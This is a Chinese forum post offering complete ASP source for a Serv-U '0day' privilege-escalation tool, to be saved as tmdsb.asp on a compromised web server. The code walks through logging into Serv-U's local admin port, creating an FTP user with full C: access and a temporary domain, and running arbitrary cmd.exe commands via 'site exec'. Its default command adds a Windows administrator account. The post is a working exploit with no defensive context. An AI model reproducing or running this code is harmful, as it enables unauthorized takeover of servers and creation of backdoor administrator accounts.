serv-u最新通杀所有版本0day asp代码
要不容易出错的。 <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode5"> <br /><style type="text/css"> <br /><!-- <br />body,td,th { <br />font-size: 12px; <br />} <br />--> <br /></style> <br /><% <br />Function httpopen(neirong,fangshi,dizhi,refer,cookie) <br />set Http=server.createobject("Microsoft.XMLHTTP") <br />Http.open fangshi,dizhi,false <br />Http.setrequestheader "Referer",refer <br />Http.setrequestheader "Content-type","application/x-www-form-urlencoded" <br />Http.setrequestheader "Content-length",len(neirong) <br />Http.setrequestheader "User-Agent","Serv-U" <br />Http.setrequestheader "x-user-agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)" <br />If cookie<>"" then <br />Http.setrequestheader "Cookie",cookie <br />End If <br />Http.send neirong <br />httpopen=bytes2BSTR(Http.responseBody) <br />set Http=nothing <br />end Function <br />Function getmidstr(L,R,str) <br />int_left=instr(str,L) <br />int_right=instr(str,R) <br />If int_left>0 and int_right>0 Then <br />getmidstr=mid(str,int_left+len(L),int_right-int_left-len(L)) <br />Else <br />getmidstr="执行的字符串中不包含“"&L&"”或“"&R&"”" <br />End If <br />end Function <br />Function bytes2BSTR(vIn) <br />strReturn = "" <br />For i = 1 To LenB(vIn) <br />ThisCharCode = AscB(MidB(vIn,i,1)) <br />If ThisCharCode < &H80 Then <br />strReturn = strReturn & Chr(ThisCharCode) <br />Else <br />NextCharCode = AscB(MidB(vIn,i+1,1)) <br />strReturn = strReturn & Chr (CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) <br />i = i + 1 <br />End If <br />Next <br />bytes2BSTR = strReturn <br />End Function <br />%> <br /><% <br />'----------自定义参数开始----------- <br />action=Request("action") <br />loginpass=Request.Form("loginpass") <br />port=Request("port") <br />mydomain=Request.Form("mydomain") <br />path=Request.Form("path") <br />ftpport = Request.Form("ftpport") <br />user=Request.Form("user") <br />pass=Request.Form("pass") <br />cmd= Request.Form("cmd") <br />sessionid=Request("sessionid") <br />organizationId=Request("OrganizationId") <br />userid=Request("userid") <br />domainid=Request("domainid") <br />'----------自定义参数结束----------- <br />select case action <br />case 1 <br />returns=httpopen("user=&pword="&loginpass&"&language=zh%2CCN%26","POST","http://127.0.0.1:"&port&"/Web%20Client/Login.xml?Command=Login&Sync=1227081437828","http://127.0.0.1:"&port&"/?Session=39893&Language=zh,CN&LocalAdmin=1","") <br />sessionid=getmidstr("<sessionid>","</sessionid>",returns) <br />if sessionid<>"" then <br />Response.Write "login ok!"&"</br>" <br />Response.redirect "?action=2&sessionid="&sessionid&"&port="&port <br />else <br />Response.Write "error!"&"</br>" <br />end if <br />case 2 <br />call main2() <br />case 3 <br />returns=httpopen("","POST","http://127.0.0.1:"&port&"/Admin/ServerUsers.htm?Page=1","",sessionid) <br />organizationIdTemp=mid(returns,instr(returns,"OrganizationUsers.xml&ID="),len("OrganizationUsers.xml&ID=")+15) <br />organizationId=mid(OrganizationIdTemp,instr(OrganizationIdTemp,"=")+1,instr(OrganizationIdTemp,"""")-instr(OrganizationIdTemp,"=")-1) <br />if organizationId<>"" then <br />Response.write "get organizationId "&OrganizationId&" ok!"&"</br>" <br />Response.redirect "?action=4&sessionid="&sessionid&"&port="&port&"&OrganizationId="&OrganizationId <br />else <br />Response.write "error!"&"</br>" <br />end if <br />case 4 <br />call main3() <br />case 5 <br />returns=httpopen("","POST","http://127.0.0.1:"&port&"/Admin/XML/User.xml?Command=AddObject&Object=COrganization."&OrganizationId&".User&Temp=1&Sync=1227081437828","http://127.0.0.1:"&port&"/Admin/ServerUsers.htm?Page=1",sessionid) <br />userid=getmidstr("<var name=""ObjectID"" val=""",""" />",returns) <br />if userid<>"" then <br />Response.write "get userid "&userid&" ok!"&"</br>" <br />Response.redirect "?action=6&sessionid="&sessionid&"&port="&port&"&OrganizationId="&OrganizationId&"&userid="&userid <br />else <br />Response.write "error!" <br />end if <br />case 6 <br />call main4() <br />case 7 <br />returns=httpopen("Access=7999&MaxSize=0&Dir=%2Fc%3A&undefined=undefined&MaxSizeDisp=&","POST","http://127.0.0.1:"&port&"/Admin/XML/Result.xml?Command=AddObject&Object=CUser."&userid&".DirAccess&Sync=1227081437828","http://127.0.0.1:"&port&"/Admin/ServerUsers.htm?Page=1",sessionid) <br />returns=httpopen("LoginID="&user&"&FullName=&Password="&pass&"&ComboPasswordType=%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81&PasswordType=0&ComboAdminType=%E6%97%A0%E6%9D%83%E9%99%90&AdminType=&ComboHomeDir=%2FC%3A&HomeDir=%2F"&path&"&ComboType=%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7&Type=0&ExpiresOn=0&ComboWebClientStartupMode=%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF&WebClientStartupMode=&LockInHomeDir=0&Enabled=1&AlwaysAllowLogin=1&Description=&=&IncludeRespCodesInMsgFiles=&ComboSignOnMessageFilePath=&SignOnMessageFilePath=&SignOnMessage=&SignOnMessageText=&ComboLimitType=%E8%BF%9E%E6%8E%A5&LimitType=Connection&QuotaBytes=0&Quota=0&","POST","http://127.0.0.1:"&port&"/Admin/XML/Result.xml?Command=UpdateObject&Object=COrganization."&OrganizationId&".User."&userid&"&Sync=1227081437828","http://127.0.0.1:"&port&"/Admin/ServerUsers.htm?Page=1",sessionid) <br />Response.write "add user ok!"&"</br>" <br />Response.redirect "?action=8&userid="&userid&"&port="&port&"&sessionid="&sessionid&"&OrganizationId="&OrganizationId <br />case 8 <br />call main5() <br />case 9 <br />returns=httpopen("DomainName="&mydomain&"&Description=test1&Enabled=1&EnableFTP=1&EnableFTPS=0&EnableSSH=0&EnableHTTP=0&EnableHTTPS=0&FTPPort="&ftpport&"&FTPSPort=990&SSHPort=22&HTTPPort=80&HTTPSPort=443&BindIPAddress=&","POST","http://127.0.0.1:"&port&"/Admin/XML/Result.xml?Command=ObjectCommand&Object=CServer.0.CreateDomain&Sync=1227081437828","http://127.0.0.1:"&port&"/Admin/ServerUsers.htm?Page=1",sessionid) <br />domainid=getmidstr("<ObjectID>","</ObjectID>",returns) <br />Response.write "create domain ok!"&"</br>" <br />Response.redirect "?action=10&userid="&userid&"&port="&port&"&sessionid="&sessionid&"&OrganizationId="&OrganizationId&"&domainid="&domainid <br />case 10 <br />call main6() <br />case 11 <br />set b=Server.CreateObject("Microsoft.XMLHTTP") <br />b.open "GET", "http://127.0.0.1:"&ftpport&"/", false, "", "" <br />b.send "User " & user & vbCrLf & "pass "& pass & vbCrLf & "site exec c:\windows\system32\cmd.exe /c "& cmd & vbCrLf & "QUIT" & vbCrLf <br />Response.Write Replace(b.responseText,chr(13),"<br />") <br />Response.redirect "?action=12&userid="&userid&"&port="&port&"&sessionid="&sessionid&"&OrganizationId="&OrganizationId&"&domainid="&domainid <br />case 12 <br />call main7() <br />case 13 <br />returns=httpopen("IDs="&domainid&"&","POST","http://127.0.0.1:"&port&"/Admin/XML/Result.xml?Command=DeleteObject&Object=CServer.0.Domain&Sync=1227081437828","http://127.0.0.1:"&port&"/Admin/ServerUsers.htm?Page=1",sessionid) <br />Response.Write "临时域清理完毕!用户请手动清理,因为serv-u的userid变化我搞不懂."&"</br>" <br />case else <br />call main1() <br />end select <br />sub main1() <br />%> <br /><form id="form1" name="form1" method="post" action="?action=1"> <br /><table width="264" border="0" align="center" cellpadding="0" cellspacing="0"> <br /><tr> <br /><td colspan="2" align="center"><strong>第一步:获取sessionid</strong></td> <br /></tr> <br /><tr> <br /><td align="right">管理端口:</td> <br /><td><input name="port" type="text" id="port" value="43958" /></td> <br /></tr> <br /><tr> <br /><td align="right">管理员密码:</td> <br /><td><input name="loginpass" type="text" id="loginpass" value="1" /></td> <br /></tr> <br /><tr> <br /><td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" /> <br /></td> <br /></tr> <br /></table> <br /></form> <br /><p align=center><strong>一般情况下不用改,如果管理员改了的话就填上去.</strong></p> <br /><% <br />end sub <br />%> <br /><% sub main2() %> <br /><form id="form1" name="form1" method="post" action="?action=3&sessionid=<%=sessionid%>&port=<%=port%>"> <br /><table width="264" border="0" align="center" cellpadding="0" cellspacing="0"> <br /><tr> <br /><td colspan="2" align="center"><strong>第二步:获取OrganizationId</strong></td> <br /></tr> <br /><tr> <br /><td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" /> <br /></td> <br /></tr> <br /></table> <br /></form> <br /><p align=center><strong>这一步有点慢,请等待.</strong></p> <br /><% end sub %> <br /><% sub main3() %> <br /><form id="form1" name="form1" method="post" action="?action=5&sessionid=<%=sessionid%>&port=<%=port%>&OrganizationId=<%=OrganizationId%>"> <br /><table width="264" border="0" align="center" cellpadding="0" cellspacing="0"> <br /><tr> <br /><td colspan="2" align="center"><strong>第三步:获取userid</strong></td> <br /></tr> <br /><tr> <br /><td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" /> <br /></td> <br /></tr> <br /></table> <br /></form> <br /><% end sub %> <br /><% sub main4() %> <br /><form id="form1" name="form1" method="post" action="?action=7&sessionid=<%=sessionid%>&port=<%=port%>&OrganizationId=<%=OrganizationId%>&userid=<%=userid%>"> <br /><table width="264" border="0" align="center" cellpadding="0" cellspacing="0"> <br /><tr> <br /><td colspan="2" align="center"><strong>第四步:加用户</strong></td> <br /></tr> <br /><tr> <br /><td align="right">新ftp账号:</td> <br /><td><input name="user" type="text" id="user" value="ash" /></td> <br /></tr> <br /><tr> <br /><td align="right">新ftp密码:</td> <br /><td><input name="pass" type="text" id="pass" value="hahaha" /></td> <br /></tr> <br /><tr> <br /><td align="right">系统路径:</td> <br /><td><input name="path" type="text" id="path" value="c:" /></td> <br /></tr> <br /><tr> <br /><td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" /> <br /></td> <br /></tr> <br /></table> <br /></form> <br /><% end sub %> <br /><% sub main5() %> <br /><form id="form1" name="form1" method="post" action="?action=9&port=<%=port%>&userid=<%=userid%>&sessionid=<%=sessionid%>&OrganizationId=<%=OrganizationId%>"> <br /><table width="264" border="0" align="center" cellpadding="0" cellspacing="0"> <br /><tr> <br /><td colspan="2" align="center"><strong>第五步:创建域</strong></td> <br /></tr> <br /><tr> <br /><td align="right">要添加的域:</td> <br /><td><input name="mydomain" type="text" id="mydomain" value="testhack" /></td> <br /></tr> <br /><tr> <br /><td align="right">域端口:</td> <br /><td><input name="ftpport" type="text" id="ftpport" value="60000" /></td> <br /></tr> <br /><tr> <br /><td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" /> <br /></td> <br /></tr> <br /></table> <br /></form> <br /><% end sub %> <br /><% sub main6() %> <br /><form id="form1" name="form1" method="post" action="?action=11&port=<%=port%>&userid=<%=userid%>&sessionid=<%=sessionid%>&OrganizationId=<%=OrganizationId%>&domainid=<%=domainid%>"> <br /><table border="0" align="center" cellpadding="0" cellspacing="0"> <br /><tr> <br /><td colspan="2" align="center"><strong>执行命令</strong></td> <br /></tr> <br /><tr> <br /><td align="right">FTP账号:</td> <br /><td><input name="user" type="text" id="user" value="ash" /></td> <br /></tr> <br /><tr> <br /><tr> <br /><td align="right">FTP密码:</td> <br /><td><input name="pass" type="text" id="pass" value="hahaha" /></td> <br /></tr> <br /><tr> <br /><td align="right">FTP端口:</td> <br /><td><input name="ftpport" type="text" id="ftpport" value="60000" /></td> <br /></tr> <br /><tr> <br /><td align="right">你的语句:</td> <br /><td><input name="cmd" type="text" id="cmd" value="net user admin admin123456 /add&net localgroup administrators admin /add" size="80" /></td> <br /></tr> <br /><tr> <br /><td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" /> <br /></td> <br /></tr> <br /></table> <br /></form> <br /><p align=center><strong>注意:如果是serv-u 7.0,这里可以马上点提交.</strong></p> <br /><p align=center><strong>注意:如果是serv-u 7.0以上,请在执行完上一步之后过大概半分钟才提交.</strong></p> <br /><br /><% end sub %> <br /><% sub main7() %> <br /><form id="form1" name="form1" method="post" action="?action=13&port=<%=port%>&userid=<%=userid%>&sessionid=<%=sessionid%>&OrganizationId=<%=OrganizationId%>&domainid=<%=domainid%>"> <br /><table width="264" border="0" align="center" cellpadding="0" cellspacing="0"> <br /><tr> <br /><td colspan="2" align="center"><strong>删除临时域</strong></td> <br /></tr> <br /><tr> <br /><td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" /> <br /></td> <br /></tr> <br /></table> <br /></form> <br /><% end sub %> <br /></div><br />把上面代码保存成tmdsb.asp就行了。
頁:
[1]